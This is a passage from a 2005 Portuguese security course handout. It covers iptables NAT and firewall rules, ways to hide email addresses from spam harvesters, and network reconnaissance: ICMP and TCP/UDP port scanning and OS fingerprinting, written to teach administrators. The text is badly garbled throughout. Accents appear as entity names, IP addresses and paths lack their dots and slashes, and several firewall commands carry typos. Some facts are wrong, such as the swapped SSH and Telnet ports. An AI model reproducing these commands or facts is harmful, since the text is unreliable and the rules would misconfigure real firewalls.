Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005646) Alguns Fluxos de NATPara acessos agrave internet atraveacutes de uma conexatildeo discada ou banda larga que natildeo fornece endereccedilofixo podemos utilizar a regra abaixoiptables -t nat -A POSTROUTING -o ppp -j MASQUERADEJaacute para conexatildeo agrave internet atraveacutes de um endereccedilo IP fixo e conhecido podemos utilizar uma regracomo a que estaacute abaixoiptables -t nat -A POSTROUTING -s 10100024 -o eth0 -j SNAT - -to 1461643267Outra regra muito comum eacute aquela usada para redirecionar uma conexatildeo vinda da internet para a DMZ comomostra a figura abaixoiptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j DNAT - -to 101001647) Regras e configuraccedilotildees uacuteteisa) Habilitando o forward no kernel do LinuxPara permitir que o iptables instalado em uma distribuiccedilatildeo Linux faccedila forward de pacotes estafuncionalidade deve estar ativa no kernell do sistema para tal podemos utilizar a seguinte linha de comandoecho ldquo1rdquo gt procsysnetipv4ip_forwardProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 35 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Caso haja a necessidade de desabiluitar esta funcionalidade basta tocar o valor 1 para 0 docomando a cima ou seja echo ldquo0rdquo gt procsysnetipv4ip_forwardb) Qualquer pacote cuja origem eacute o host 10031 deveraacute ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 10031 -o eth0 -j SNAT - -to 192112233c) Qualquer pacote cuja origem eacute a rede 100308 deve ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233d) Qualquer pacote cuja origem eacute a rede 100308 que sai pela interface eth0 deve ter seu endereccedilo deorigem alterado para qualquer um do intervalo 192112233-192112266iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233-192112266e) Qualquer pacote que venha do host 10031 e entre na maacutequina pela interface eth0 deve serredirecionado para o endereccedilo 192112233iptables -t nat -A PREROUTING -s 10031 -i eth0 -j DNAT - -to 192112233f) Todos os pacotes que entrem pela interface eth0 devem ser redirecionados para um dos endereccedilos dointervalo 192112210 ateacute 192112233

iptables -t nat -A PREROUTING -i eth0 -j DNAT - -to 192112210-192112233g) Todos os pacotes que entram pela interface eth2 e satildeo destinados a porta 22 deve ser redirecionadospara o host 19211221iptables -t nat -A PREROUTING -i eth2 -p tcp - -dport 22 -j DNAT - -to 19211221h) Criando um proxy transparente iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 443 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 21 -j REDIRECT - -to-port 3128Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 36 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005648)Firewall a ser utilizando em um bastiatildeo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTUP ACCEPTiptables -P FORARD DROP liberado o loopbackiptables -A INPUT -i lo -j ACCEPT filtando os pacotesiptables -A INPUT -p tcp - -dport 22 -j ACCEPTiptables -A FORWARD -d 10100024 -j ACCEPTiptables -t nat -A PREROUTING -p tcp - -dport 80 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 443 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 21 -j DNAT - -to 101002iptables -t nat -A PREROUTING -p tcp - -dport 110 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 995 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 25 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 465 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 143 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 993 -j DNAT - -to 101003Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 37 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005649) Firewall para compartilhamento do Acesso a Internet libera forward no kernelecho ldquo1rdquo gt procsysnetipv4ip_forward

Poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso a interface loiptables -A INPUT -i lo -J ACCEPT libera a entrada de conexotildees iniciadas pela maacutequinaiptables -A INPUT -m state - -state ESTABLISHEDRELATED -j ACCEPT bloqueia entrada na rede de conexotildees invaacutelidasiptables -A FORWARD -m state - -state NEWINVALID -j DROP hablitando o macascaramento com ip dinacircmicoiptables -t nat -A POSTROUTING -s 192168254024 -o eth0 -j MASQUERADE libera a entrada de conexotildees iniciadas pela redeiptables -A FORWARD -o eth0 -m state - -state ESTABLISHEDRELATED -j ACCEPT habilita o forward vinda da rede internaiptables -A FORWARD -i eth1 -s 192168254024 -J ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 38 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20057) SPAMO SPAM praacutetica tatildeo comum nos dias atuais tem se tornado um problema para a maioria dosadministradores de sistemas desenvolvedores e usuaacuterios de internet mas a medida que os filtros anti-spamevoluem as teacutecnicas utilizadas para burlar os filtros se desenvolvem mais raacutepido ainda Uma teacutecnica que temsurtido efeito eacute o uso da heuriacutestica mas seu ponto fraco eacute apresentar uma grande quantidade de falsospositivosMas uma coisa eacute certa muito administradores estatildeo ajudando os inimigos principalmente aquelesque devolvem as mensagens rejeitadas ao spammer que passam a ter certeza da existecircncia daquele e-mail

Mas alguns administradores estatildeo fazendo sua parte uma das medidas adotadas eacute a adoccedilatildeo deservidores de SMTP que requerem a autenticaccedilatildeo dos usuaacuterios antes de enviar o e-mail agrave seu destinataacuterioA seguir seratildeo apresentadas algumas teacutecnicas que podem ser utilizadas para minimizar a accedilatildeo dosspammer71) Protegendo os endereccedilos de e-mailSegundo pesquisa realizada pelo ldquoCenter for Democracy and Technology (CDT)rdquo uma dasprincipais fontes de endereccedilos de e-mail para os spammer satildeo os websites que estatildeo disponiacuteveis e que natildeorequerem autenticaccedilatildeo Neste contento alguns acham interessante excluir os e-mail das paacuteginasimpediando este tipo de coleta por parte dos spanner mas como os verdadeiros usuaacuterios teratildeo acesso aeles O que deve ser implementado eacute uma forma de evitar que os spanner possam utilizar seus ldquorobosrdquo paracoletarem de forma automaacutetica estes endereccedilos nos websitesO funcionamento destes ldquorobos garimpeirosrdquo se baseia em encontrar algumas palavras oucaracteres chaves nas paacuteginas da internet das quais pode-se estacar ldquomailtordquo ldquordquo ldquomailrdquo ldquoe-mailrdquo e etc Aaqueles que fazem uso de algum sistema operacional UNIX-Like como o Linux podem construir seuproacuteprio scanner de e-mail com alguns comandos ( wget tr send sort cat e uniq)Mas nem tudo estaacute perdido vaacuterias satildeo as teacutecnicas que camuflagem que podem ser utilizadas amais simples podem a mais problemaacutetica para o usuaacuterio eacute utilizar um e-mail ldquofalsordquo como por exemplosuporteremova-esta-partecyberootscombr apesar de ser eficiente esta teacutecnica pode complicar a vidado usuaacuterios mais leigos que tambeacutem natildeo saberatildeo distinguir qual eacute a parte vaacutelida do endereccediloProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 39 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Outra forma de se proteger eacute inserir no coacutedigo html o e-mail utilizando os caracteres codificados enatildeo os caracteres em siacute por exemplo no lugar de usuarioexemplocombr deveriacuteamos utilizaramp117amp115amp117amp097amp114amp105amp11amp064amp101amp120amp101amp109amp112amp108amp111amp046amp099amp111amp109amp046amp098amp114Todos os navegadores existentes conseguem interpretar estes caracteres codificados mas os robosutilizados pelos spammer natildeo possuem ferramentas para interpretar estes caracteres natildeo ainda

Outra teacutecnica que pode ser utilizada satildeo os java scripts que tambeacutem natildeo satildeo interpretados pelosrobos podemos por exemplo usa a funccedilatildeo docummentwriter() para escrever o conteuacutedo do e-mail quepermitiraacute aos usuaacuterios visualizarem o endereccedilo mas que iratildeo confundir as sondas de coleta ainda nestesentido podemos colocar o endereccedilo de e-mail em um arquivo externoA criptografia tambeacutem pode nos ajudar uma forma bem simploacuteria de resolver o problema eacute utilizar afunccedilatildeo ldquoXORrdquo da loacutegica matemaacutetica para esconder o conteuacutedo do texto no coacutedigo e utilizar o java script pararealizar a decodificaccedilatildeo do endereccedilo Mesmo sem uma forma fraca de criptografia ela eacute muito eficientescontra os robos dos spammers Mas os clientes que natildeo possuem o java script habilitado natildeo poderatildeovisualizar o endereccedilo de e-mail contudo a grande maioria dos navegadores jaacute possuem suporte a javascript basta entatildeo solicitar ao usuaacuterio que o habilite em seu navegadorMas quem falou que e-mail tem que ser representado na forma de texto puro Se utilizarmos umafigura contendo o endereccedilo de e-mail como a maioria dos robos natildeo verificam o conteuacutedos das figuras oendereccedilo passaraacute desapercebido Todavia tambeacutem podemos utilizar uma animaccedilatildeo flash para a mesmafinalidade mas o flash nem sempre estaacute instalado na maacutequina do visitante e ele ainda natildeo foi portado paratodas as plataforma que suportam o uso de navegadores webEntretanto se o motivo de se expor o endereccedilo de e-mail eacute para que os visitantes possam entrar emcontato podemos trocar este endereccedilo por um formulaacuterio simples que pode ser usado para a mesmafinalidadeMas se seu objetivo eacute descobrir quem estaacute garimpando seu site atraacutes de endereccedilo de e-mail crieendereccedilos de e-mails dinacircmicos atraveacutes de java script de tal modo que ele contenha a data hora eendereccedilo ip de quem estaacute acessando a paacutegina logo ao receber um e-mail para endereccedilos invalidos seuservidor de e-mail pode repassaacute-los para uma conta especial que o administrador deveraacute monitorar com istoseraacute possiacutevel determinar quem ou de onde os robos estatildeo sendo disparadosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 40 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20058) Analisando e varrendo a RedePara realizar a varredura da rede caracteriacutesticas especiacuteficas do seu protocolo devem serexploradas Como o protocolo de rede utilizado na especificaccedilatildeo do modelo eacute o TCPIP as teacutecnicas de

varredura aqui descritas satildeo aquelas que se baseiam nas caracteriacutesticas desta pilha de protocoloSobre a pilha do TCPIP existem trecircs tipos baacutesicos de varreduras uma baseada no seu protocolo decontrole (ICMP) outra no protocolo TCP e a terceira no protocolo UDP Dentre as varreduras a maisutilizada eacute a TCP isto se deve ao elevado niacutevel de exatidatildeo que esta coleta de dados propicia81) Varredura ICMP - Internet Control Message ProtocolUma das teacutecnicas mais simples de varredura eacute a Varredura via ICMP O protocolo ICMP eacutenormalmente utilizado para o envio e recebimento de informaccedilotildees sobre o funcionamento dos noacutes como porexemplo data e horaAtraveacutes deste protocolo eacute possiacutevel implementar vaacuterios meacutetodos de varreduras como por exemploenvio de ECHO e ECHO Reply anaacutelise de mensagens de erro geradas por um noacute uso de Trace Routecom ICMP ECHO e etcICMP ECHO e ECHO Reply Esta varredura consiste no envio de pacotes do tipo ICMPECHO ao noacute alvo e aguardar por uma resposta Todo noacute ativo deve responder a esta mensagem com umpacote do tipo ICMP ECHO Reply Quando um noacute natildeo responde aos pacotes ICMP ECHO dentro de umintervalo de tempo (time-out) o mesmo pode estar desconectado ou sendo filtrado por algum firewall ougateway de bordaUm exemplo de varredura via ICMP eacute a utilizaccedilatildeo do comando ping que eacute um aplicativopadratildeo TCPIP que estaacute presente em vaacuterias arquiteturas eacute permite o envio de pacotes dotipo ICMP ECHO para verificar se um noacute estaacute ativo Poreacutem esta forma de verificaccedilatildeo natildeo eacuteindicada para redes com mais do que poucas dezenas de noacutes O ping sempre espera aresposda de um noacute ao pacote enviado ou ateacute que ocorra o time-out antes de enviar umoutro pacoteUma alternativa ao ping eacute o aplicativo fping que eacute utilitaacuterio de rede disponiacutevel para asplataformas Unix-Like e que funciona de forma anaacuteloga ao ping mas com o envio depacotes de forma paralela que utiliza a mesma teacutecnica entretanto realiza o envio dosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 41 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005pacotes ICMP de forma simultacircnea para vaacuterios endereccedilos acelerando o processo de

varredura da rede Outra funcionalidade deste aplicativo eacute a possibilidade de se configurar otime-out da conexatildeoO uso do endereccedilo de Broadcast e de Rede satildeo duas alternativas que podem ser utilizadasneste tipo de varredura Neste caso todos os noacutes ativos na rede devem responder ao noacuteque originou a mensagem com um pacote ICMP ECHO Reply Desta forma com um uacutenicopacote eacute possiacutevel varrer todo um segmento de rede Entretanto esta teacutecnica soacute pode seraplicada para noacutes baseados no Unix uma vez que maacutequinas com sistema operacional daMicrosoft natildeo respondem a solicitaccedilatildeo ICMP quando enviada ao endereccedilo de Broadcast oude RedePois segundo a RFC1122 se um pacote ICMP ECHO eacute enviado via endereccedilo deBroadcast ou de Rede o mesmo pode ser silenciosamente descartado pelo noacutes que orecebeA varredura utilizando endereccedilo de Broadcast ou Rede pode provocar uma negaccedilatildeo deserviccedilo ( DoS - Denial-of-Service) no noacute responsaacutevel pelo envio dos pacotes ICMP ECHOEsta negaccedilatildeo de serviccedilo ocorre devido agrave grande quantidade de pacotes de resposta que elerecebe para cada pacote ICMP geradoNon-ECHO ICMP Aleacutem da mensagem ICMP ECHO o protocolo ICMP implementa vaacuteriosoutros tipos de mensagens que podem ser utilizadas na varredura da rede e em alguns casos no proacutepriomapeamento de dispositivos de rede Dentre as principais mensagens ICMP pode-se destacar ECHO( Request - Tipo 8 Reply - Tipo 0) Time Stamp ( Request - Tipo 13 Reply - Tipo 14) Information( Request - Tipo 15 Reply - Tipo 16) e Address Mask ( Request - Tipo 17 Reply - Tipo 18)O envio de mensagens do tipo ICMP Time Stamp Request eacute utilizado normalmente paraquestionar a um noacute a sua hora e data atual Receber uma resposta ICMP Time StampReply significa que o noacute estaacute ativo Contudo as mensagens ICMP Time Stamp Requestnatildeo costumam ser respondidas por noacutes com um dos sistemas operacionais da Microsoft Ocomportamento dos sistemas da Microsoft se deve agrave forma como a RFC 1122 foiinterpretada pelos seus desenvolvedores

A mensagem ICMP Address Mask Request eacute utilizada por uma maacutequina sem disco paraobter a maacutescara de rede durante seu processo de boot e tambeacutem pode ser utilizada pararealizar a varredura da redeQuando uma solicitaccedilatildeo deste tipo eacute feita atraveacutes do endereccedilo de Broadcast todos os noacutesProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 42 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005que estatildeo configurados para responder a esta mensagem envia um reply com oendereccedilo solicitado Normalmente este tipo de mensagem eacute respondida por GatewaysRoteadores e em alguns casos por maacutequinas que funcionam como agentes autorizadospara o fornecimento de maacutescara de redeICMP Error Messages Este meacutetodo consiste no envio de mensagens formatadas de talmodo que ao serem recebidas pelo noacute produziratildeo uma mensagem de erro do protocolo ICMPUma das formas de se provocar uma mensagem de erro eacute atraveacutes do envio de pacotes IPque possuem em seu cabeccedilalho campos incorretos Pacotes deste tipo normalmente geramuma mensagem de erro do tipo ICMP Parameter Problem Error que normalmentepossui o campo Code configurado para zero (0) Esta varredura permite identificar noacutesativos independentemente dos protocolos (TCPUDPICMP) implementados por eles quetambeacutem pode ser empregada sobre roteadores Contudo roteadores realizam umaverificaccedilatildeo mais relaxada dos campos do cabeccedilalho IP como afirma a RFC1812 Outra vantagem eacute que esta teacutecnica pode ser aplicada mesmo se o noacute estaacute sendo filtradopor algum firewall uma vez que as mensagens forjadas podem ser enviadas para portasespeciacuteficas como por exemplo as portas TCP 21 25 80 e UDP 53ICMP Fragment Reassembly Time Exceeded Quando um noacute recebe um datagramafragmentado em vaacuterios pacotes e ao remontaacute-los percebe que estatildeo faltando alguns pacotes ele osaguarda por um determinado periacuteodo de tempo quando entatildeo iraacute descartar todos os pacotes e enviaraacute aonoacute que originou os datagramas uma mensagem de erro do tipo ICMP Fragment Reassembly TimeExceeded

ICMP Fragmentation Needed and Dont Fragment Bit was Set Quando um roteadorrecebe uma mensagem ele verifica o valor do campo PMTU se este for maior do que o valor que eleestaacute utilizando o roteador pode retornar ao noacute que gerou o pacote uma mensagem de erro do tipo ICMPFragmentation Needed and Dont Fragment Bit was Set Utilizando esta teacutecnica eacute possiacutevel determinar a existecircncia de Roteadores entre a maacutequinaalvo e a maacutequina atual bem como informaccedilotildees especiacuteficas que podem ajudar agrave determinara suposta marca e modelo deste equipamentoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 43 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200582) Varredura de PortasVaacuterios gateways de seguranccedila impedem o envio e o recebimento de pacotes ICMP entre redesdistintas para inibir a varredura ICMP Quando as varreduras baseadas no protocolo ICMP natildeo podem ser utilizadas a Varredura dePortas eacute uma alternativa eficiente uma vez que sempre existem portas atraveacutes das quais um gatewaypermite o traacutefego de entrada e saiacuteda como eacute o caso das portas 21 (FTP) 22 (Telnet) 23 (SSH) 25(SMTP) 80 (HTTP) 110 (POP) e 443 (HTTPS) As varreduras de porta satildeo normalmente baseadas ou no protocolo TCP ou no protocolo UDP Devido agrave suas caracteriacutesticas o protocolo TCP eacute aquele que apresenta a maior variedade de tipos devarredura821) Varredura de Portas TCPA varredura de portas TCP eacute feita pelo envio de pacotes agrave porta alvo e aguardando-se pelasrespostas Quando a porta alvo responde os pacotes recebidos teratildeo alguns de seus campos analisados ecom base nesta anaacutelise seraacute possiacutevel determinar se a porta estaacute aberta e o noacute ativoAtualmente existem vaacuterios tipos de varredura TCP algumas das quais satildeo descritas a seguirVarredura de Conexatildeo TCP Nesta varredura a maacutequina de origem tenta estabelecer umaconexatildeo vaacutelida com a porta alvo durante a qual deve ocorrer o 3 way handshake do protocolo TCP esteprocesso consiste no envio de um pacote SYN agrave porta alvo no recebimento de um pacote SYNACK e finalmente no envio do pacote ACK agrave porta alvo Caso a conexatildeo seja completada com sucesso eacutepossiacutevel afirmar que a porta estaacute aberta e o noacute ativo

Por realizar uma conexatildeo completa esta varredura pode ser facilmente percebida porferramentas de detecccedilatildeo de intrusatildeo e por essa razatildeo raramente eacute utilizada com finalidade furtivaVarredura TCP SYN esta varredura tambeacutem eacute conhecida como varredura semi-aberta pois aoreceber o pacote SYNACK vindo da porta alvo o noacute que originou a primeiro pacote natildeo responde como pacote ACK Ao receber o pacote com os bits SYNACK setados o noacute pode-se afirmar que a portaestaacute aberta Contudo se for recebido um pacote com os bits RSTACK a porta provavelmente natildeo estaacuteno estado de escutaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 44 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Por ser uma teacutecnica mais furtiva vaacuterios sistema de monitoramento natildeo registram este tipo devarreduraVarredura TCP FIN este teacutecnica eacute muito utilizada contra sistemas baseados em UNIX poisquando estes recebem um pacote FIN destinado agrave porta fechada eles enviam de volta um pacote RSTcontudo o mesmo natildeo acontece com sistemas Windows que ignoram o pacote Este padratildeo eacute documentadona RFC793 Varredura TCP Xmas Tree neste caso ocorre o envio de um pacote com os bits FIN URG ePUSH ligados agrave porta alvo e segundo a RFC793 toda porta fechada deve responder com um pacoteRSTVarredura TCP NULL Quando uma porta alvo recebe um pacote com todos os flags desligados(setados como 0) ela deve responder com um pacote RST caso esteja fechadaVarredura TCP ACK Esta teacutecnica eacute usada para mapear regras de um determinado firewallpermitindo determinar se o firewall eacute apenas um filtro de pacote ou um firewall de estadosVarredura TCP Windows Esta teacutecnica analisa o tamanho do campo Window do protocolo TCP epermite determinar se a porta estaacute aberta filtrada ou natildeo filtrada Esta anaacutelise eacute possiacutevel pois algunsgateways de seguranccedila alteram o valor deste campo quando filtram determinadas portasVarredura TCP RPC Esta teacutecnica permite identificar qual eacute a versatildeo dos aplicativos RPC footnoteO serviccedilo RPC (Remote Procedure Call) eacute especifico do sistema operacional UNIX que estatildeo ativos em

um noacute Unix Like Alguns dos serviccedilos que fazem uso do RPC satildeo o NFS (Network File System) e o NIS(Network Information Service)822) Varredura de Portas UDPApesar de existirem vaacuterios tipos de varreduras TCP existe somente uma baseada no protocoloUDP Esta uacutenica varredura consiste no envio de datagramas com zero (0) bytes de dados agrave porta alvo Aresposta pode ser uma mensagem ICMP port unreachable indicando que a porta estaacute fechada caso natildeoocorra nenhuma resposta a porta pode estar aberta ou sendo filtradaQuando datagramas satildeo enviados a vaacuterias portas de uma maacutequina e um grande nuacutemero delas natildeoos responde estas provavelmente estatildeo em estado de escuta Por outro lado se nenhuma porta respondeisto pode indicar que ou o noacute estaacute fora do ar ou o mesmo estaacute sendo filtradoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 45 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Uma forma alternativa de anaacutelise consiste na escolha de uma porta UDP que segundo a lista deporta definida pela IANA natildeo deve estar em estado de escuta e no envio de pacotes se a mesma natildeoresponder com uma mensagem ICMP Port Unreachable Error eacute porque ela estaacute sendo filtradaExiste uma grande quantidade de ferramentas disponiacuteveis para se realizar a varredura de redes decomputadores no entanto apenas algumas se destacam pelas suas funcionalidades dentre elasVarredura de ICMP Ping Fping Hping Nmap Icmpenum e IcmpqueryVarredura de Portas Nmap Strobe Udp_scan e Netcat83) Coleta do sistema operacional dos noacutes remotosUtilizando-se das teacutecnicas de varredura o modelo pode realizar o mapeamento de todo umsegmento de rede identificando noacutes ativos e portas abertas poreacutem estas teacutecnicas natildeo permitem determinarcom exatidatildeo o Sistema Operacional ativo em um noacute remoto e portanto eacute necessaacuterio o uso de uma outrametodologia para este fimA metodologia comumente utilizada para determinar o sistema operacional de um noacute se baseia nacoleta de seu fingerprint ou sua impressatildeo digital Quando os desenvolvedores dos vaacuterios sistemasoperacionais implementam a pilha do protocolo TCPIP eles normalmente interpretam de forma distintaas recomendaccedilotildees feitas pelas RFCs e produzem pilhas com caracteriacutesticas proacuteprias Estascaracteriacutesticas formam o fingerprinting de um noacuteAnalisando o comportamento da pilha de uma determinada versatildeo de um sistema operacional e

mapeando o resultado dentro de um banco de dados eacute possiacutevel utilizar estes dados para a verificaccedilatildeo dosistema operacional de outros noacutesO fingerprinting de um noacute pode ser coletado de forma Ativa atraveacutes do envio de pacotes ao noacutealvo e da anaacutelise do pacotes recebidos e de forma Passiva pela anaacutelise de pacotes pertencentes aconexotildees jaacute estabelecidas e coletados diretamente pela interface de redeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 46 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005831) Coleta ativa do fingerprintingA coleta ativa do fingerprinting consiste no envio de pacotes preacuteviamente formatados para o noacutealvo e na anaacutelise de campos especiacuteficos dos pacotes recebidos como resposta Neste tipo de coleta ainterface de rede natildeo necessita ser colocada em modo promiacutescuoO fingerprinting ativo possui um elevado niacutevel de exatidatildeo mas falha quando as caracteriacutesticasda pilha TCPIP satildeo alteradas pelo seu administrador Isto normalmente ocorre quando o administradorrealiza otimizaccedilotildees no noacute ou quando ele implementa uma poliacutetica baseada em obscuridade na qual ofingerprinting eacute alterado para forjar um outro sistema operacionalA coleta ativa da impressatildeo digital de um noacute pode ser realizada atraveacutes de vaacuterias anaacutelises simplestais comoSonda FIN segundo a RFC973 quando uma porta aberta recebe um pacote FIN natildeo deveresponder entretanto algumas pilhas TCPIP como eacute o caso da pilha do Windows NT responde com umamensagem FINACK Sonda de Flag Falso consiste no envio de um pacote SYN com o flag indefinido configuradocomo 1 dependendo do sistema operacional Este pacote pode ser respondido atraveacutes de um pacotecom o mesmo flag setado em 1 Este procedimento eacute implementado pelo Linux e por outros sistemasUnix Like Bit natildeo Fragmentar para permitir um melhor desempenho do protocolo TCPIP alguns sistemaoperacionais setam este campo com o valor 1 e outros como eacute o caso do Solaris natildeo permitem o seuusoTamanho da Janela TCP o tamanho deste campo eacute normalmente dependente do sistemaoperacional Por exemplo o AIX eacute o uacutenico sistema operacional a utilizar o valor Ox3F25 para este campoNumero Sequumlencial do ACK esta teacutecnica consiste em observar o valor do nuacutemero sequumlencial do

pacote ACK Alguns sistemas respondem ao pacote com o mesmo nuacutemero sequumlencial daquele que ooriginou outros incrementam este valor em uma unidade antes de respondecirc-loLimitaccedilatildeo das Mensagem de Erro ICMP alguns sistemas operacionais seguindo asrecomendaccedilotildees da RFC1812 limitam a taxa de envio das mensagens de erro ICMP a um determinado valorpor intervalo de tempo Sendo este valor padronizado basta enviar vaacuterios pacotes UDP agrave uma portafechada e aguaradar a mensagem ICMP port unreachable Esta teacutecnica normalmente natildeo eacute muitoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 47 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005utilizada pois torna a coleta do fingerprinting lenta Tipo de Serviccedilo (TOS) a maioria dos sistema operacionais setam este campo para zero (0)quando enviam uma mensagem ICMP port unreachable apesar de alguns sistemas operacionais utilizamvalores diferentesOpccedilotildees do TCP as opccedilotildees baacutesicas do protocolo TCP satildeo determinadas pela RFC793 e pelaRFC1323 jaacute as opccedilotildees avanccediladas satildeo definidas pela RFC1323 Realizando o envio de vaacuterios pacotes comvalores especiacuteficos nestes campos e analisando a resposta pode-se supor o sistema operacional ativovisto que nem todos os sistemas implementam todas as opccedilotildees descritas nestas RCFs Existem ainda outras teacutecnicas que natildeo se utilizam de pacotes TCP ou UDP ao inveacutes disto fazemuso de mensagens de ICMP Estas teacutecnicas foram utilizadas por Ofir Arkin na construccedilatildeo da ferramentaXprobe 832) Coleta passiva do fingerprintingA coleta passiva consiste na captura de pacotes pertencentes agraves conexotildees ativas por um snifferSniffers satildeo utilitaacuterios de rede que operam em modo promiacutescuo e permitem a coleta dos dados dasconexotildees de outras estaccedilotildees de trabalho sem que ocorra a alteraccedilatildeo da mesma ou que a accedilatildeo sejadetectada e da anaacutelise dos mesmos Esta coleta necessita que a interface de rede esteja operando emmodo promiacutescuo No modo promiacutescuo todo o traacutefego de dados pode ser capturado por uma interface derede independentemente do endereccedilo de destino natildeo gerando assim traacutefego na redeO fingerprinting passivo possui a grande de vantagem ser indetectaacutevel pelo noacute alvo Por outro ladocaso existam pacotes forjados circulando pela rede a coleta passiva pode ser induzida a determinar de

forma errocircnea o sistema operacional de alguns noacutesA anaacutelise dos pacotes coletados pela interface de rede tem por finalidade determinar asidiossincrasias nas implementaccedilotildees das pilhas TCPIP de cada sistema operacionalOs principais campos utilizados para identificar o sistema operacional de um noacute satildeo o TTL oWindows Size o DF e o TOS pois possuem valores tabelados de acordo com o sistema operacional esua versatildeoDurante uma anaacutelise o primeiro campo verificado eacute o campo TTL Quando o valor deste campo eacuteigual agrave 64 o pacote provavelmente pertence a um noacute com Linux ou FreeBSDProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 48 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O segundo campo analisado eacute o Windows Size que normalmente possui valor igual a 0x7D78quando a maacutequina possui uma versatildeo do Windows ou do Linux instalado O terceiro campo verificado eacute oflag DF que indica se o pacotes estaacute fragmentado ou natildeo Poucos satildeo os sistemas que setam este bitcomo zero mas o SCO e o OpenBSD utilizam este padratildeo O ultimo campo verificado eacute o TOS que namaioria das mensagem estaacute setado para zeroPor exemplo suponha que um dos pacotes capturados pelo sniffer apresente as caracteriacutesticasabaixo Cruzando os dados coletados com as informaccedilotildees acima pode-se concluir que o noacute provavelmenteroda uma versatildeo do Kernel do LinuxTTL 64Window Size 0x7D78DF bit 1TOS 0x0Outros campos tambeacutem podem ser utilizados na detecccedilatildeo do sistema operacional de forma passivamas softwares como o Siphon p0f e o Cheops utilizam somente estes quatro campos para gerar everificar as assinaturas dos sistemas operacionaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 49 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059)Kit de FerramentasAs proacuteximas sessotildees apresentam algumas ferramentas comumente utilizadas por administradoresno processo de verificaccedilao do niacutevel de seguranccedila de seus ambientes91) NmapO Nmap fornece de uma maneira geral a relaccedilatildeo de computadores e serviccedilos ativos Existem

